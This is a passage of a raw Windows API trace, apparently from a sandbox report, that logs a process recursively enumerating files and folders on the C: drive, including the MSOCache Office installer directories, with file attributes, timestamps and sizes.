FindClose (in: hFindFile=0x572880 | out: hFindFile=0x572880) returned 1 [0063.480] GetProcessHeap () returned 0x550000 [0063.480] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5fb100 | out: hHeap=0x550000) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0063.481] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0063.481] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0063.481] GetProcessHeap () returned 0x550000 [0063.481] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5fb100 [0063.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572880 [0063.482] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.483] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0063.483] FindClose (in: hFindFile=0x572880 | out: hFindFile=0x572880) returned 1 [0063.483] GetProcessHeap () returned 0x550000 [0063.483] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5fb100 | out: hHeap=0x550000) returned 1 [0063.484] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0063.484] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0063.484] FindNextFileW (in: hFindFile=0x56ec58, lpFindFileData=0x2c9f850 | out: lpFindFileData=0x2c9f850*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0063.484] GetProcessHeap () returned 0x550000 [0063.484] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5fb100 [0063.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x572880 [0063.485] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.486] FindNextFileW (in: hFindFile=0x572880, lpFindFileData=0x2c9f5c8 | out: lpFindFileData=0x2c9f5c8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0063.486] GetProcessHeap () returned 0x550000 [0063.486] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2640068 [0063.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a938 [0063.811] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.865] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0063.865] GetProcessHeap () returned 0x550000 [0063.865] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0063.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0063.904] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.904] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0063.904] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0063.904] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0063.904] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0063.905] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0063.905] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0063.905] GetProcessHeap () returned 0x550000 [0063.905] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0063.905] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0063.906] GetProcessHeap () returned 0x550000 [0063.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0063.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0063.931] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.931] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0063.932] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0063.932] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0063.932] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0063.932] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0063.932] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0063.935] GetProcessHeap () returned 0x550000 [0063.935] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0063.935] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0063.935] GetProcessHeap () returned 0x550000 [0063.935] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0063.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56aa50 [0064.155] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.156] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0064.156] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0064.156] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0064.156] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0064.156] FindNextFileW (in: hFindFile=0x56aa50, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0064.156] FindClose (in: hFindFile=0x56aa50 | out: hFindFile=0x56aa50) returned 1 [0064.157] GetProcessHeap () returned 0x550000 [0064.157] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0064.157] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0064.157] GetProcessHeap () returned 0x550000 [0064.157] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0064.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5768c0 [0064.171] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.171] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0064.172] FindNextFileW (in: hFindFile=0x5768c0, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, 